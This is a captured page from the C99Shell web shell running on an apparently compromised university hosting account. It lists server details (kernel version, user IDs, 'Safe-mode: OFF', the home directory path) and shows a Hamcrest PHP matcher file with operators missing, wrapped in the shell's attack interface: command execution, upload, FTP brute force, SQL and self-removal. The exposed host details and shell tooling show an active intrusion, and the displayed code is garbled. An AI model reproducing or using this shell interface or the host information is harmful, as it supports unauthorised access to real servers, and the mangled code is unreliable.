!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IsEmptyString.php (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Text;

/*
 Copyright (c) 2009 hamcrest.org
 */
use Hamcrest\BaseMatcher;
use 
Hamcrest\Core\AnyOf;
use 
Hamcrest\Core\IsNull;
use 
Hamcrest\Description;

/**
 * Matches empty Strings (and null).
 */
class IsEmptyString extends BaseMatcher
{

    private static 
$_INSTANCE;
    private static 
$_NULL_OR_EMPTY_INSTANCE;
    private static 
$_NOT_INSTANCE;

    private 
$_empty;

    public function 
__construct($empty true)
    {
        
$this->_empty $empty;
    }

    public function 
matches($item)
    {
        return 
$this->_empty
            
? ($item === '')
            : 
is_string($item) && $item !== '';
    }

    public function 
describeTo(Description $description)
    {
        
$description->appendText($this->_empty 'an empty string' 'a non-empty string');
    }

    
/**
     * Matches if value is a zero-length string.
     *
     * @factory emptyString
     */
    
public static function isEmptyString()
    {
        if (!
self::$_INSTANCE) {
            
self::$_INSTANCE = new self(true);
        }

        return 
self::$_INSTANCE;
    }

    
/**
     * Matches if value is null or a zero-length string.
     *
     * @factory nullOrEmptyString
     */
    
public static function isEmptyOrNullString()
    {
        if (!
self::$_NULL_OR_EMPTY_INSTANCE) {
            
self::$_NULL_OR_EMPTY_INSTANCE AnyOf::anyOf(
                
IsNull::nullvalue(),
                
self::isEmptyString()
            );
        }

        return 
self::$_NULL_OR_EMPTY_INSTANCE;
    }

    
/**
     * Matches if value is a non-zero-length string.
     *
     * @factory nonEmptyString
     */
    
public static function isNonEmptyString()
    {
        if (!
self::$_NOT_INSTANCE) {
            
self::$_NOT_INSTANCE = new self(false);
        }

        return 
self::$_NOT_INSTANCE;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.037 ]--